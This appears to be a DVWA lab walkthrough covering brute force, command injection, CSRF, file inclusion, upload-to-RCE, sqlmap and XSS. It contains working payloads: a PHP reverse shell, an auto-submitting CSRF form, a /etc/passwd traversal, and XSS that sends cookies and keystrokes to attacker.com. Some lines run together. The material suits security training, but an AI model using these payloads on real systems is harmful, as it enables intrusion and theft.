DVWA provides an official Docker image that lets you deploy it instantly.
Make sure Docker and Docker Compose are installed:
# On Debian/Ubuntu/Kali
sudo apt update
sudo apt install docker.io docker-compose -y
# Verify installation
docker --version
docker compose version
docker pull vulnerables/web-dvwa
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
🟢 DVWA will now be accessible at: 👉 http://localhost:8080 or http://127.0.0.1:8080
Use the default credentials:
Username: admin
Password: password
http://localhost:8080/setup.phphttp://localhost:8080/login.phpTool: THC Hydra v9.5
Target: DVWA Brute Force Module
Command:
hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost http-post-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect"
16 valid passwords identified:
Vulnerability: OS Command Injection
Target: DVWA Command Execution Module
Payload:
127.0.0.1; /usr/bin/php -r '$sock=fsockopen("172.20.10.13",4444);exec("sh <&3 >&3 2>&3");'
Command injection via IP parameter with reverse shell payload
Netcat listener receiving reverse shell connection
Gaining shell access
127.0.0.1; which php
172.20.10.13:4444Type: Cross-Site Request Forgery (CSRF)
Risk: High
Location: DVWA Password Change Function
Endpoint: http://localhost/vulnerabilities/csrf/
GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
The password can be changed using the vuln request by modifying the parameters password_new and password_conf
<html>
<body>
<form action="http://localhost/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value="attacker123">
<input type="hidden" name="password_conf" value="attacker123">
<input type="submit" name="Change" value="Change">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Type: Local File Inclusion
Risk: Critical
Location: DVWA File Inclusion Module
Parameter: page
http://localhost/vulnerabilities/fi/?page=../../../../../etc/passwd
http://localhost/vulnerabilities/fi/?page=file1.php
/etc/passwd)Successful retrieval of /etc/passwd via path traversal
Type: Unrestricted File Upload → RCE
Risk: Critical
Location: DVWA File Upload Module
Security Level: Medium
php-reverse-shell.phpimage/jpeg../../../hackable/uploads/php-reverse-shell.phpnc -nlvp 4444
Webshell uploaded with image content-type bypass
visit http://localhost/hackable/uploads/php-reverse-shell.php
Automated Commands:
# Save request to file first, then:
sqlmap -r request.txt -p id --batch --dbs
sqlmap -r request.txt -p id --batch -D dvwa --tables
sqlmap -r request.txt -p id --batch -D dvwa -T users --dump
Automated Commands:
# Save request to file first, then:
sqlmap -r request.txt -p id --batch --technique=B --dbs
sqlmap -r request.txt -p id --batch --technique=B -D dvwa -T users --dump
# Simple SQLi
sqlmap -r request.txt -p id --batch --current-db
# Blind SQLi
sqlmap -r request.txt -p id --batch --technique=B --current-db
Note: Save HTTP requests to request.txt before running SQLMap commands.
// Vulnerable
$query = "SELECT * FROM users WHERE id = $id";
// Secure - Prepared Statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
Remember: Parameterized queries are the most effective defense against SQL injection attacks.
How it works: Malicious script is reflected off a web server in response to user input
Example Attack:
http://vulnerable-site.com/search?q=<script>alert('XSS')</script>
How it works: Malicious script is stored on the server and executed when accessed
Example Attack:
<!-- Malicious comment stored in database -->
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie)
</script>
How it works: Vulnerability exists in client-side code manipulating the DOM
Example Attack:
// Vulnerable code
document.getElementById('output').innerHTML = window.location.hash.substring(1);
// Attack: http://site.com#<img src=x onerror=stealCookies()>
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(document.domain)>
<!-- Cookie theft -->
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
<!-- Keylogger -->
<script>document.onkeypress=function(e){fetch('http://attacker.com/?k='+e.key)}</script>
<!-- CSRF attack -->
<script>
fetch('/change-email', {
method: 'POST',
body: 'email=attacker@evil.com'
})
</script>
1. Input Validation
$clean = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
2. Security Headers
Content-Security-Policy: default-src 'self'
X-XSS-Protection: 1; mode=block
3. Safe Coding
innerHTMLNever trust user input - always validate and encode.